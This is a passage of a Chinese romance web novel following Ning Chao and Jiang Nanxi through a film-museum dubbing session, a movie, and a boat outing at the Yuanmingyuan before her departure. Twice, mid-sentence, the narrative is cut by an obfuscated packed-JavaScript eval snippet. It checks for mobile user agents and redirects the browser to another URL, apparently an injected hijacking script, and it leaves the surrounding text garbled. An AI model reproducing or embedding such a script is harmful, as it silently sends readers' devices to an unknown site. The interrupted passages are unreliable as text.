都不说话,但都想和对方再多待一会儿。 “快回去吧。”宁朝又说一遍,他拍拍姜南西的发顶,“我明天再过来找你。” 姜南西短促地哦了一声,最后又看他一眼,收回目光,抱着两袋糖炒栗子慢吞吞往回走。 目送姜南西走进小区,宁朝走回车里,打开车门坐进去。 他闭着眼睛休息,面上疲态明显。 不是不想和姜南西多待一会儿,是宁朝知道她不喜欢吵闹的环境,现在车来人往到处都是灰尘,姑娘又穿着一身睡衣,沾一身灰回去不舒服。 宁朝长长呼出一口气,内心跟自己说不用急于这一时。 他加了这么多天班出了这么多差,为的就是将来能有更多时间。 在车里静静坐了几分钟,宁朝忽然听见有人敲了敲他的车窗。 他睁开眼,只见去而复返的姜南西站在车窗外,她仍抱着那两袋糖炒栗子,脸上挂着明媚活泼的笑容,蓬松长发在余晖里发着光。 看这一眼,宁朝只觉心底涌起一股潺潺暖流,柔软万千,以至于他按下车窗后,思绪飘忽忘了要说话。 车窗降下来,姜南西笑意更甚,她弯起好看的眼睛:“一起走走吗?” 宁朝望她两秒,而后也笑了出来,连日奔波的疲累一扫而空。 黄昏下,两人沿着吵闹的街道,漫无目的地朝前遛大街,步伐不疾不徐。 一个穿着正装气度不凡,一个身穿睡衣散漫休闲。 然而意外的和谐,远远从背影看去,他们的气场相互交融又彼此包容,身影被夕阳包裹在温柔的光晕里,描绘出一副岁月静好的动人画面。 宁朝走在姜南西的身边,用只有两个人听见的声音问她:“你这几天都干了什么?” “嗯——”姜南西认真想了两秒,“去火神庙抽了签,吃了当当家的面,跟大哥一起喝了绿豆粥,卖了三十块钱的鸡蛋仔,收拾行李,寄快递,送小朋友,和尼奥吵架,然后给陈笛当伴娘。” 这些姜南西早在微信上讲过,但宁朝想亲耳听她再说一遍。 “今天呢?”宁朝问。 姜南西抿唇笑了下:“睡觉。” 宁朝跟她一起笑出来,明朗帅气。 “你呢?”姜南西反问,“这几天都干什么了?” “见投资商,签合同,赚钱。”宁朝的回答简单得多,统共就那三件事儿。 “累吗?” “还成。”宁朝说,“就是开会的时候老想睡觉。” 姜南西乐盈盈笑出声,拢了拢怀里的糖炒栗子,栗子的余温窝得她胸口暖洋洋。 落晖肆意挥洒光线,在天空挂起粉紫色的晚霞,云朵染上一层薄薄的色彩,两人渐行渐远,背影是宁静的,自在的,慵懒的,仿佛与这落日云朵融为一体。 姜南西问宁朝:“我们明天去干什么?” “去影博看电影。”宁朝心中早有答案,“最近有个电影评分不错。” “好。” “我下午过来接你。” “好呀。” “看完电影一起吃个晚饭。” “好的呀。” 宁朝幼稚学她:“好的呀。” 姜南西语气可可爱爱:“好的呀~” 36. 可乐苏打水 第二天,两人提前一个小时到影博。 作为目前世界上最大的国家级电影专业博物馆,中国电影博物馆不仅有全国唯五之一的IMAXGT放映屏幕,而且馆内上下展览、博览、影院和综合服务四个功能区域,设有21个不同主题的展厅,供观众来此参观与体验电影的魅力。 逛完一楼基本展,从光影历史里出来,姜南西带着宁朝直奔四楼,那里有间毫不起眼的小房间——配音室。 以前,她经常独自来这里,一个人对着话筒念她喜欢的电影台词,即使是玻璃门,但只要门一关,严实的隔音让外面完全听不见里面的人在说什么,姜南西可以全身心沉浸在电影的氛围里。 屏幕前,姜南西的手指在选项栏中来回滑动,在各种影片之间犹豫不定。 她问宁朝的意见:“你喜欢什么电影?” 宁朝站在后面,离姜南西一步远,稍一动作就能碰到她的头发,他目光在供选片单上扫了一圈:“你之前都配什么?” “大圣归来。”姜南西收回手,清了清嗓子,学着江流儿的声音道:“齐天大圣,孙悟空!身如玄铁,火眼金睛!长身不老还有七十二变!一个筋斗云啊就是十万八千里!” 她表情到位,情绪到位,抑扬顿挫恰如其分,除了音色上的差别,几乎是完美复刻。 宁朝有些诧异地问:“你对声音控制这么厉害?” 姜南西正色直言:“可能因为我是个艺术生?”在艺考机构里除了专业课,其他或多或少的,有时候觉得好玩儿也会学一点。 “早知道这样,那台尼奥应该录你的声音。”宁朝说。 姜南西想象了下那个场景,后怕似地一激灵,她耷着眼皮说:“不要,我不想看见一个唠唠叨叨的世另我。” 说完,她就跟宁朝细数自己和尼奥的那些爱恨情仇。 比如在她穿鞋的时候,尼奥会钻进另一只鞋子里,比如在她看《美少女战士》的时候,尼奥会比主角先一步念出台词,撅起屁股大喊:“月棱镜威力变身!” 比如在姜南西忍无可忍把它放到冰箱上的时候,会独自凄婉吟唱:“无情的雨下呀下不停,淋湿我身伤透我的心~” 直到重新被端回地面,尼奥又变成快乐小狗,一遍转圈圈一边唱电影《机器人之梦》的主题曲《September》。 宁朝手指勾着耳机,眼睛看向自顾自絮絮叨叨的姜南西,嘴角弧度忍俊不禁。 念叨一半,姜南西想起来:“现在尼奥的声音是谁的?” 宁朝说:“用张永正声音改的。” 姜南西又问:“张永正是谁?” 宁朝说就一小屁孩儿。 最后宁朝选中一部经典影片,《爱乐之城》。 怀揣演员梦却屡战屡败的女主和穷困潦倒却才华横溢的男主在洛杉矶偶然邂逅,从欢喜冤家到坠入爱河,然而却因现实压力和各自梦想,两人终究走向了不同的道路,影片最后他们重逢,惟留一眼,两两相望,尽是时过境迁。 他们惺惺相惜,在残酷的世界里,温柔托举对方的梦想,可到底目的地不同,只能在天亮之后微笑告别,默道祝福。 不知是巧合还是别的什么,这剧情和眼下现实竟如此贴合,姜南蓦地想起自己后天的机票。 玩乐时大脑放空不觉得,一旦真的想起来,轻松愉悦都倏然化作梦幻泡影,被什么一击即碎。 宁朝看不见的地方,姜南西表情变得黯然,她面无表情地戴上耳机,借着调整话筒的动作,用余光瞥了一眼身边的人,宁朝眼尾平直唇线轻抿,和往常一样认真专注的神情。 姜南西调整呼吸,将目光投向即将播放的画面。 音乐响起一刹,姜南西的心脏不可自抑猛然一缩。 她用力地闭了闭眼,竭力克制住内心的情绪,在系统的提示下,她用英语缓缓念出女主角Mia的台词:“It’sprettystrangethatwekeeprunningintoeachother.(我们总是能遇到彼此,真是太奇怪了)” 格里菲斯天文台,蓝调夜晚下,身着明艳黄色长裙的Mia和Sebastian浪漫共舞,两人的眼神在不经意间靠近,交汇。 下一秒,宁朝的声音从耳机里传来,音色清朗:“Maybeitmeanssomething.(也许这意味着什么)” 这是姜南西第一次听见他说英语,口音纯正好听。 场景切换,明亮典雅的咖啡厅里。 Mia看见意外出现的男人,神情慌张:“Whatareyoudoingehere?” Sebastian看起来比她更紧张:“Youdon''thaveabreaingup,doyou?” 姜南西想起那个夜晚的路口,宁朝笑着说明天天气很好,问她有没有空。 那一瞬间,她的心动宛如将散未散的蒲公英,被他的话轻轻一碰,随风飘向城市的每个角落。 两人在街道上漫步谈天,Mia看见路边的拍摄片场眼神亮了起来,她拉着Sebastian走过去,侃侃而谈自己喜欢上电影和表演的心路历程。 当Mia说自己不喜欢爵士乐时,Sebastian急切又诚恳地跟她解释,乐队里的每个人都有自己的想法,相互碰撞又相互妥协。 于是互道梦想,两颗心的距离又悄然近了一点。 接着他们相爱,在明媚的夏天。 像黑塞在书里那样写的,一个如同恩赐般的从天而降的夏天,充满力量与光芒,诱惑与魅力,像浓烈的葡萄酒一样裹挟、穿透他们。 因为现实压力两人发生争吵时,姜南西揉了揉眼睛,有意躲开那些令人心碎的台词。 Sebastian心急如焚地来找灰心的Mia,决绝又强势地要她去试镜。 深夜里,当Mia含着泪水不停地自我贬低,Sebastian一遍又一遍坚定地告诉她:“你很好,你很棒,你很棒,你很棒。” 他说他在图书馆前的房子前找到她,其实去遍了所有图书馆。 只匆匆掠过一眼病历本,记不得姜南西具体去医院的时间,那段时间,宁朝每天早上都在楼下等她。 其实到这里,两人都能明显感觉到,这部电影仿佛从另一种视角讲述的回忆录,或许他们的经历没有影片那样浓烈的戏剧张力,不如主人公那般大起大落、跌宕起伏。 但共同走过的时光,都和格里菲斯天文台的日落一样铭心,被那晚璀璨的星空记下了。 当故事不可避免的走向悲剧,二人心平气和地对话。 Sebastian的眼神释然而肯定,一如宁朝现在的语气:“Whenyougetthis,yougottagiveiteverythingyougot.Everything.It’syourdream.(等你得到了这个角色,你就要全力以赴,放下一切,这是你的梦想)” 姜南西和Mia一样,不舍,难过,动情,在绝美的落日之下。 她和她一起说出那句:“I''malwaysgonnaloveyou.” 话音落去,配音室里静默一瞬,宁朝没有顺势念出Sebastian的那句“我也是”的回应。 短短五分钟的切片,念完恍如隔世。 当音乐响起时,姜南西没有急着摘掉耳机,也没去看宁朝。她伸手捂住自己胸口,感觉那里被一块巨石重重压着,喘不上来气,需要一些时间缓过来。 她不在意宁朝没有回应,因为感受到的已经足够多。 这是不需要用一句语言来证明的事实。 约莫半分后,姜南西仍然感觉心口紧绷,但不能再这么待下去,总要有人打破沉默,她强打起精神,让自己能勉强摆出一副正常表情。 她抬起手,正准备取下耳机时,忽然听见耳机里再度传来宁朝的声音。 声音顺着他的气息平缓滑进话筒,轻柔而深情,慢慢钻进她的耳中。 他说了很长的一串英文,跟刚才的电影无关,但仅仅两句之后,姜南西便听懂了其中深意,随着他的话语,眼底逐渐盈起一层浅浅水光。 他念的是电影《绿皮书》的家书。 “亲爱的德洛芮丝,每当我想起你,就想起了爱荷华的美丽平原。 你我之间的距离,使我倍受煎熬,没有你,我的时间与经历都毫无意义。 知道吗?爱上你是我此生中最轻易的事。 没有什么比你更重要,在我醒来的每一天,我都深信于此。 遇见你的那天晚上,我就已经爱上你,余生,也会继续爱你。” 根本无需台词对照,那些话语深深在烙印在宁朝的脑海,仿佛为此在心底排演了千万遍。 ——这是他的回应。 姜南西抬起头,让顶棚的灯光照进自己眼底,试图用白光的刺眼抵消眼睛的酸涩。 最后的最后,宁朝故意为之,又重新捡起《爱乐之城》,他借着Sebastian在聚会上的台词问姜南西:“What’syourname?” 姜南西被他逗得愣了一下,仰头轻轻笑了出来,没有接话。 宁朝当她是回答了,挑下眉梢语色轻快:“GuessI''llseeyouinthemovies.(以后大荧幕上见了)” 祝她梦想成真,祝她名扬天下。 走出配音室,宁朝给姜南西买了瓶冰可乐,但他自己不喝可乐,换成了苏打水,而大桶爆米花必须要有的,他说:“看电影的仪式感。” 姜南西记起那天他对宁衡远说的,她想也没想地说:“那我以后也天天给您敬个礼。” 话落两人皆是一顿,没说话走到检票口,一时忘了票在谁那,都同时翻翻自己的口袋和包,没找到,几乎同时看向对方眼睛:“在不在......” 然后又莫名地躲开。 宁朝找到票递给检票员,检完票他先进,姜南西捧着可乐跟在后面。 那些闭口不谈的东西到底影响了心情,两人气氛尴尬。 姜南西此时的思绪就像一锅煮沸的开水,沸腾翻滚停不下来,即便宁朝之前已经做过多次示范,她还是不善于处理这种棘手又微妙的局面。 哄哄他? 怎么哄? 总不能也给他买个猪猪侠。 就在姜南西胡思乱想一团乱麻快把自己勒死的时候,走在前面的宁朝忽然停下脚步。 姜南西跟着停下,看着他转过身体,表情严肃地看向自己。 姜南西第一次看见宁朝在她面前这副表情,但不是凶,就是直接的严肃。 “你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868098|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,以后每天给我敬个礼。”宁朝目光灼灼,一字一句说得格外正经。 这语气这架势,听着像在跟她谈生意:以后福香斋的包子每个便宜两毛钱。 “啊......”姜南西茫然。 宁朝一副准了的表情:“行,那你记着以后每天照片打卡。” “啊?”姜南西困惑。 宁朝扬唇笑一笑,看得姜南西无端背脊发凉。 尤其在这昏暗的影厅走道,墙上挂满恐怖片的惊悚海报,光影交错再那么一打,宁朝的脸半明半暗,嘴角微勾,让她感觉他是从什么故事里跑出来的英俊吸血鬼。 吸血鬼暗黑低语:“一万块。” “......”姜南西回过神,“那一万块我......” 说一半骤然中断,宁朝眼神紧锁着她,姜南西却不再说。 这人娇气得很,提前破坏他的惊喜不行的。 宁朝已经好心情地往前走了,才不听什么十万块八千里的。 姜南西追上去:“我要是没信号呢,我要是忙呢,我要是刚好在追羊呢——”她找了许多理由。 “不管。”娇气的吸血鬼任性的很,“少发一条我就报警抓你。” 姜南西小声抗议:“你耍无赖!” “耍了怎么着吧。” “......?!” 真就这么无赖地耍无赖啊。 看的电影是暑期大热门,老少皆宜喜剧片,又不失深刻的教育意义。 富豪夫妇为将孩子培养成才,伪装贫穷反向养娃,极端的教育方式让作为孩子的马继业感到痛苦而迷茫,好在最终他发现真相,拒绝父母规划,追随本心考取自己想要的大学。 这种用幽默方式探讨家庭教育和自我成长的影片,近年来国内外层出不穷。 而每次看完,姜南西都感想良多。 虽然马继业最后得以圆梦,可一想到他在父母精心编织的谎言里,白白浪费了那么多时间,错过了那么多宝贵的机会,姜南西不免为他感到遗憾:“好心疼他啊,走了那么多弯路,还好没受刺激疯了。” “但是你假设一下。”宁朝知道她多少有点代入,用玩笑安抚她,“假如你爸爸跟你说他是个亿万富翁,你会不会开心?” “会。”姜南西一下子笑起来,忧愁烟消云散。 宁朝跟着笑起来:“那马继业也会的。” 交谈间,两人走出影博,刚好碰到日落,红日宛如巨大的火球,悬在广袤无垠的天空上。 夕阳无限好,只是近黄昏,那时不懂,只有亲身经历了才知其中深意。 好像就这么一眼,姜南西的心情如同残阳西斜,惨淡而冷清,她搞不懂自己情绪多变的理由,本能地看向宁朝,他的轮廓在余晖中深邃温和。 “但如果他说。”定定凝望他的侧脸,姜南西声色平淡,“你也是他找来的演员,我真的会疯掉的。” 如果一个人因为某件事即将结束而感到难过,那就意味着,这件事的过程一定是非常美好的。 姜南西心想,是的,很美好,所以她从很久之前就在难过。 人群中,宁朝眸光微闪,他没接这句,而是说:“明天天气很好,我们去圆明园吧。” “好啊。”姜南西甩开情绪枷锁,着眼当下。 她问宁朝:“我们去圆明园干什么?” 宁朝说:“划船。” “?”姜南西不自觉脚步往后一退。 宁朝发现了,眼疾手快转身回来抓她,“逃也没用。” “宁朝!”姜南西威胁地叫他名字。 宁朝从身后架起她胳膊往车里带,嘴里不忘搭腔:“嗳小姜老师您说。” 姜南西说:“尊老爱幼啊。”拿不成文的身份压他。 宁朝瞎说八道:“请示过您亲大哥我亲爷爷了,他老人家说行。” “大哥出卖我?”姜南西不可置信。 宁朝对答如流:“他让你明天中午去吃饭,您亲自问去。” 过了会儿,姜南西依然愤愤不平,唤旁边正开车的人:“宁朝。” “您说姑奶奶。”宁朝秒答。 一句俏皮话把姜南西脾气给消下去,她本想提一口气再装装,但一看这人的脸就没忍住笑出来。 这人一向知道怎么接住她的情绪。 很无奈。 姜南西找补了句:“今天夕阳挺好看。” 宁朝无声笑笑,手指拨动按钮,车内洋溢起舒缓浪漫的音乐——《AThousandYears》。 汽车向前驶去,前方玻璃只剩太阳和道路,造就一种他们正在追逐落日的错觉,这感觉盛大又荒芜,仿佛地平线尽头就是世界末日。 伴着音乐,姜南西打开车窗,仰面迎风。 “Darlingdon''tbeafraidIhavelovedyou 亲爱的,请不要害怕,我深深地爱着你 ...... AndallalongIbelievedIwouldfindyou 我一直坚信我会找到你的 Timehasbroughtyourhearttome 时间已将你带到我面前” 这一路上,爱意弥漫。 下一轮美好的事情即将发生。 37. 朕的水 在北京的最后一天,姜南西起了个大早。 在天光放亮前,她去小区楼下快递柜取走没拿的快递,顺带买了两瓶鲜牛奶。 回到家,她拆开快递,将里面的物品放进更大的箱子里,然后将箱子里东西仔细清点一遍再码齐,接着清理垃圾,最后做了一遍家务。 其实行李都已寄走,屋子里也基本干净,没什么可以整理的,姜南西坐在沙发上,视线投向这间生活了几年的出租屋,看了好一会儿。 通宵加班后的何星屿打开家门,看见墙角箱子已经被胶带封好:“这箱东西我什么时候给你寄走?” 他没有找房子搬走,还会继续住在这里。 北京租房难,想找一个价格合适又住得舒心的房子不是易事,何星屿在这住习惯了,索性决定一个人整租下来,回头让中介再找个合适的合租对象。 想了两秒,姜南西说:“过几天吧,等我不在北京的时候。” “行。”何星屿换好拖鞋,从冰箱里拿出一瓶鲜牛奶,喝了一口跟姜南西说:“明天我就不送你了啊。” 和平常一样的语气,丝毫听不出即将分别的意思,仿佛姜南西只是去外地出个差。 “你最好不要。”姜南西笑。 不止何星屿,她也不让陈笛送,怕几人都忍不住离别的场景。 何星屿靠在墙上,跟姜南西聊了会儿天,便回房睡觉去了。 他不想把气氛搞得那么感伤,何况,何星屿深深地相信,无论天涯海角,交流亲疏与否,他们的友情不会发生任何改变。 姜南□□自在客厅坐了会儿,到时间下楼送小朋友。 也是最后一天。 小朋友们不知道什么是离别,只知道今天的小姜老师,对每一位小朋友,都非常用力地说了再见。 校车缓缓启动,七块五突然从车里伸出脑袋,挥舞着肉乎乎的小手,扯着嗓子喊道:“小姜老师再见!” 这句话炸开了锅,其他小朋友们纷纷觉得这样好玩儿,也一个接一个地探出脑袋,叽叽喳喳的一片:“小姜老师再见!” 急得幼儿园赶忙将他们摁回车里,手忙脚乱的,这头拽一个,那边拉一个,像在抓一群胡乱飞舞的小蜜蜂。 中午在什刹海吃饭,宁衡远送了姜南西一把折扇,扇骨温润如玉,扇面上的毛笔字刚写不久,笔锋游走如龙,苍劲有力——久在樊笼里,复得返自然。 姜南西捧着扇子,站在太阳底下,轻轻嗅上面清浅的墨香。 然后再没别的,宁衡远也没准备什么特别的临行赠言,就说了句:“去吧。” 有梦想的孩子总是要远行的。 吃完饭,临出家门前,趁宁朝不在,姜南西跟宁衡远说了件事儿。宁衡远听完哈哈大笑,答应她一定保守这个秘密,打死不往外蹦一个字儿。 大哥二弟情比金坚。 下午在圆明园,走在历史的遗迹上,一半惊艳,一半叹息。 几只小猫躺在断壁残垣上踱步,柔软的毛发在阳光下散发光亮,导游手持小喇叭,为大家讲解这生动一幕:“废墟的遗迹上,是新生的脚印。” 站在旁边拍视频的姜南西,听到这句不禁回过头。 表达果然是种天赋,就如同眼前这位的导游,一句话就让故事有了转折点。 她正在向游客介绍更多,姜南西收起相机,站在人群之外静静聆听。很多导游都不喜欢这种蹭听的行为,但是这位导游很随意,因为她的讲解不仅专业,而且妙趣横生,很快吸引了不少过路的游客,她没有不耐烦,而是面带笑容,向每一位驻足停留的游客,详细而热情地介绍身后的景点。 姜南西端起相机,以大水法为背景,记录下这位导游认真工作的模样。 宁朝买了两杯冰咖啡回来,将其中一杯拿给姜南西。 姜南西没喝,而是一直等到周围游客散去,导游女生独自走在后面的时候,她快步走过去,将咖啡送给那位女生,说话时语速很快:“你讲得非常好,请你喝杯咖啡,辛苦啦!” 说完像是怕被被拒绝,她转身拉起宁朝赶紧离开。 她个人十分喜欢导游的讲解,白听心里过意不去,只能以此聊表心意,社恐人士难得一见的勇敢。 宁朝问她:“万一她不喝陌生人的东西呢?” “那也没办法了。”跑完,姜南西呼吸有些急促,她抬手扇扇脸上的汗,“防人之心不可无,人之常情可以理解,但是我真的很喜欢她,想表达就去表达啦,再说她真的真的很厉害!万一收到咖啡她也很高兴呢。”姜南西控制不住地想要夸奖那个女孩子,完全没想这突兀的举动会被对方夸赞还是吐槽。 想做就去做,目光聚焦自身感受,而非期待他人的完美反馈,就算被讨厌也没关系,在周围人的耳濡目染下,她渐渐培养起自我的主体性。 闻言,宁朝又多了那么一点点的成就感。 成就没两秒呢,姜南西便由衷感叹:“大哥真不愧人生导师。” 话落她有意看一眼宁朝,他表情如常,淡笑了下没有讲话,似乎不太在意姜南西的这句话。 在他这里,什么方式不重要,谁的方式也不重要,姜南西开心最重要。 在他们不知道的反方向道路上,导游女生将咖啡的照片群发所有好友,疯狂在群里艾特,炫耀这份来自陌生人的鼓励。 下午带团出发前,她刚被领导批评说能力不足,虽然仍以最饱满的精神状态为游客服务,但实际上内心不免委屈和自我怀疑,就在这时,突然有个笑起来像个小太阳一样的女生,送给她一杯咖啡,并真诚地夸她说得很棒。 咖啡冰凉,导游女生心中却倍感温暖,像是电量快要耗尽的手机,突然充上电,斗志和动力随着电量一起蹭蹭往上涨。 她将咖啡的照片发了朋友圈:“我爱北京!我爱导游这份工作!” 划船在福海,两人离得越来越近。 姜南西中途去了趟便利店,看也不看随手抓起一瓶饮料,磨磨蹭蹭不付钱,在拖延时间。 宁朝看出来了,也不催,好整以暇看着她,陪着她耗。 便利店店员催了:“您除了这个,还有别的需要吗?” “......没了。”姜南西默默付钱走人。 宁朝手握咖啡站在门口,表情要笑不笑的,眼神落在从店里走出来的人身上,一路看着她从面前走过,看见她郁闷苦恼的后脑勺。 买的水叫什么“朕的水”,以为是简单的矿泉水,结果喝一口姜南西差点没喷出来。 嘴里说不清楚的苦味,姜南西嫌弃地拿开水瓶:“有人想害朕!” “为保陛下龙体,我们快逃。”宁朝帅气一笑,带着她脚步不停走向前方的福海码头。 姜南西冷冷一笑:“你是主谋吧。” “你说是就是吧。” 要划船得穿救生衣,负责游船的大哥递给宁朝两件均码,宁朝拿了其中一件,让另一件换个小点儿的。 姜南西正在长廊下躲太阳,大哥看眼她身型,回头在装满救生衣的筐子里来回翻找:“姑娘有点太瘦了,得找个再小点儿的。” “看着瘦。”宁朝穿上救生衣,扣好安全带,“一次能扛好几个摄像机。” 大哥也是个爱唠的:“嚯!摄影师啊?” 宁朝说不上来的炫耀:“导演,历害着呢。” “好家伙!!” 走前大哥细心招呼:“快艇来了避着点儿啊,那玩意儿浪大,摇船摇得吓人。” 穿好救生衣,两人上船。 坐上去后,姜南西便不敢再动,恐惧如汹涌的潮水,铺天盖地地淹没了她,又化作福海里幽深莫测的水,自下而上托着这艘小船,全方位无死角的包围着她。 她十指紧攥身体僵直,每一次呼吸都小心翼翼,生怕一不小心太重影响了小船的平稳。 宁朝带姜南西来划船,单纯因为这是她的一项愿望,他想着如果不真的体验一把,按姜南西的性格,后面回想起来肯定会后悔。 只是他想过她害怕,没想到她会这么害怕,还以为会像那天长城缆车一样。 眼看着姜南西脸都白了,宁朝凑近说:“我们回去。” 他一动,感觉船身轻晃一下,姜南西立刻抓住他的手腕,阻止他的所有动作:“你别动。” 姜南西呼吸颤动,湖面扬起微风。 游船离岸不远不近,别人看不清船上,他们也看不清岸边。 不知过了多久,姜南西心跳速度降下来,呼吸和水面涟漪一样的平缓安定。 她仍旧抓着宁朝的手腕没放。 看她状态好了点,宁朝问:“你这么怕水,小时候溺过水?” “啊......我小时候,我表哥骑车带我去河边玩儿,就.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868099|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ....”姜南西顿了顿,紧张地舔了舔唇,“他没骑好.....没把好把手,带着我栽到河里了。” 听她断断续续讲完,宁朝眼睫微抬,眸光落在她额角:“这个疤也是这么来的?”他发现了,但是一直没问。 “......不是。”姜南西声音低微,“我以后再告诉你。” 她又说了一次以后,在这离别的前一天。 宁朝没有回应,陪着她又静静坐了一阵。 他问:“还划吗?” “能就坐会儿吗?”姜南西这么提议,她悄悄说:“......船也挺贵的。” 十分钟和一小时一样的钱。 宁朝轻笑了声:“行,那就坐会儿。” 随后熄了火。 今天的湖面风平浪静,湖水透亮融化天空,飞鸟自由凌空,天地澄明像幅漫画,青山绿林横贯在漫画中间,似一条天然的分界线,又和画面相互映衬。 船边偶尔游过几只鸭子,比那天颐和园里的安详得多,它们在水里惬意地捣弄双腿,在湖面上拖出一道道长长的波痕。 美丽的风景有神奇的魔力,能治愈人心的不安。 姜南西看着前方的蓝天白云,耳畔微风,身边有宁朝,她觉得平静。 静了会儿,宁朝问她要不要喝水。 姜南西身体没动,只翘起右手用小小地摆了几下:“我可以渴死,但不能毒死。” 宁朝放下水,坐回去和她一起看风景。 定定看,不说话。 他们可以一直说话,也可以安静坐在彼此身边,不会因此感到尴尬,因为足够默契,片刻的沉默也成一种享受。 福海中央,是圆明园四十景之一的蓬岛瑶台,绿荫环绕,怪石嶙峋,此地原名蓬莱洲,据说当年英法联军试图登岛,却因当时无船可渡而幸存。 现在不对游客开放,有福观赏的只有天上的客人。 两只色彩鲜艳的小鸟落在枝头,昂头啾鸣,互相嬉戏打闹。 其中一只被打恼,往旁边挪开几步,不声不响低下头,另一只跟过去,啾鸣两声试图和好,第一只鸟见状高冷躲开,第二只鸟死缠烂打跟上,歪过脖子去看它,仿佛在问:真哭了啊。 画面诙谐幽默,姜南西想和宁朝分享这一瞬间,回头发现他闭眼靠在椅子上,好像睡着了,看起来很累。 日光下,姜南西看见他的眼睛,最开始嘲笑她黑眼圈的那个人,自己黑眼圈比她还重。 姜南西无声看着宁朝的睡颜,水光清凌,折射在他干净的皮肤,面部线条硬朗不失清隽,在这山水画卷之间,独有种出尘的气质。 无声无息的,她看得入迷。 有只虫子飞过来,在宁朝脸旁绕来绕去,姜南西伸手去赶,坐着距离有点远,于是她身体轻缓躬起向前。 赶走小飞虫后,她又低头看一眼。 旋即,定住。 她意识到自己离宁朝很近,近到能感受到宁朝的气息,近到再往前一点点,一个细浪晃下船身,她的唇就会碰上宁朝的。 这是个很危险的距离,她应该要往后退。 但是她没动,眼神落在宁朝纤长的睫毛,睫上清光抖落。 姜南西目不转睛地盯着眼前的脸,气息渐而凌乱,生理和心理的双重紧张中,滋生出一个令她自己都心惊肉跳的想法。 她心脏砰砰跳,她想亲他。 如果这是吊桥效应,姜南西想,那眼前这个人一定不会让她摔下去。 他会接住她,这是宁朝给姜南西的底气。 凭着这股底气,姜南西努力屏住呼吸,几乎是慢动作,一点一点离宁朝更近。 风拂湖面的前一秒,宁朝遽然睁开眼睛,姜南西瞳孔皱缩,愣了半秒,接着整个人在惊恐中向后退去,激起船身一顿剧烈摇晃。 恰逢快艇过境,层层浪涛拍打船底,游船在湖面急剧颠簸。 宁朝眼疾手快伸出手,结实有力的手紧紧钳住她胳膊,防止她因为恐惧继续挣扎,同时一手冷静启动游船远离浪心,神色紧绷目视前方。 “别乱动。”语气些许严厉。 姜南西本还在发抖的身体,因为这句话陡然失去反应,所有的慌乱,不安,悸动,统统戛然而止,仿佛被一盆冷水从头淋下。 直到回到岸边,姜南西也没再说一句话,因为感觉到宁朝气场不对。 38. 农夫山泉 还是刚才那家便利店,宁朝重新买了瓶水,农夫山泉,不苦,有点甜。 拧开瓶盖递过去姜南西不接,他就拿下瓶盖把水塞她手里,简单一个字:“喝。” 虽然被气到了,但姜南西不能喝水太少。 姜南西闷不作声不敢拒绝,也不敢说话。 但她不后悔。 这是她28年人生中最大胆的一刻,完全属于她自己的一刻,该后悔上船的人不是她。 喝完水,姜南西把水瓶还回去,宁朝自然而然地接过来,拧上瓶盖给她拿着。 走在小路上,晴水绿树,微风袅袅,风景怡然,却没了欣赏的心情。 到底宁朝先说话,每次也都是他先说。 他叫她名字:“姜南西。” 不是姜橙子,说明气得不轻。 “啊。”姜南西应了声,音量不大。 宁朝问:“你明天几点的飞机?”她没那么多时间坐火车,只能飞机。 “下午......两点。”姜南西说得迟疑。 因为这是她胡说八道的,游船上她还在鼓励自己走前干件大事儿,现下她清醒了,没胆子面对宁朝,巴不得改签了今晚就走。 宁朝停下脚步,光影在他脸上明灭不定:“你紧张什么?” 姜南西弱弱解释:“我没紧张。” 宁朝面无表情:“不是你想亲我的时候了?” “......又没亲到。”姜南西小声嘀咕。 被当场拆穿。 姜南西抬抬眉梢,上眼角余光掠过去,以最小的幅度打量宁朝的脸色。 两人就这么在树下僵持着,一个眼神躲闪,一个坦荡直接。 宁朝看着姜南西阴晴不定欲躲还留的表情,心里想笑但是憋住了。 他发现姜南西这姑娘真有意思,以为她大胆,实际胆小的不行,以为她胆小吧,结果转头她指不定搞出点什么惊天动地的动静来。 就这么不讲道理,来回在他心上反复地挠。 游船上,当她离得越来越近时,宁朝就感受到了。 要命的是,他当时也不敢动。 听见快艇由远及近的声音时,宁朝心底既解脱又恼怒,自己也说不清是个什么感觉。 所以他有点生气,气自己。 “确定两点的飞机?”宁朝直勾勾看她。 仿佛要被这目光看穿,姜南西懵怔但坚持:“对,两点。” 宁朝说:“我明早七点在楼下等你。” “......?”姜南西眼睛瞪大,“你明明知道还问?” 她是十点的飞机。 “我不知道。”宁朝毫不遮掩,他扬唇笑了下,表情意气风发,“我诈出来的。” 姜南西那点小心思藏不住。 重新抬步。 姜南西走在宁朝身后,对着他的背影扮了个超级夸张的鬼脸,用嘴型学他刚才的话,诈~出~来~的~ 还不解气似地无声呸他一下,以此抒发内心的不满。 呸完没两秒,她又忍不住笑了出来,心底漾开丝丝缕缕的甜。 两人步调一致,走走停停向前去。 路边有人在吹口琴,悠扬音乐飘散在湖面,迎面吹来凉爽的风。 · 第二天早上,姜南西没走平常惯走的小区大门,而是绕远路到另一边,因为现在正好七点,要避开小朋友们。 行李箱不大,宁朝直接把它放到后座。 气氛不算沉重,反而稀松平常,宁朝照旧买了冰咖啡,两人跟以前一样对话聊天,熟稔又随意,就仿佛此刻不是在去机场的路上,而是像两人从前无数次那样,约好了要去什么地方玩儿。 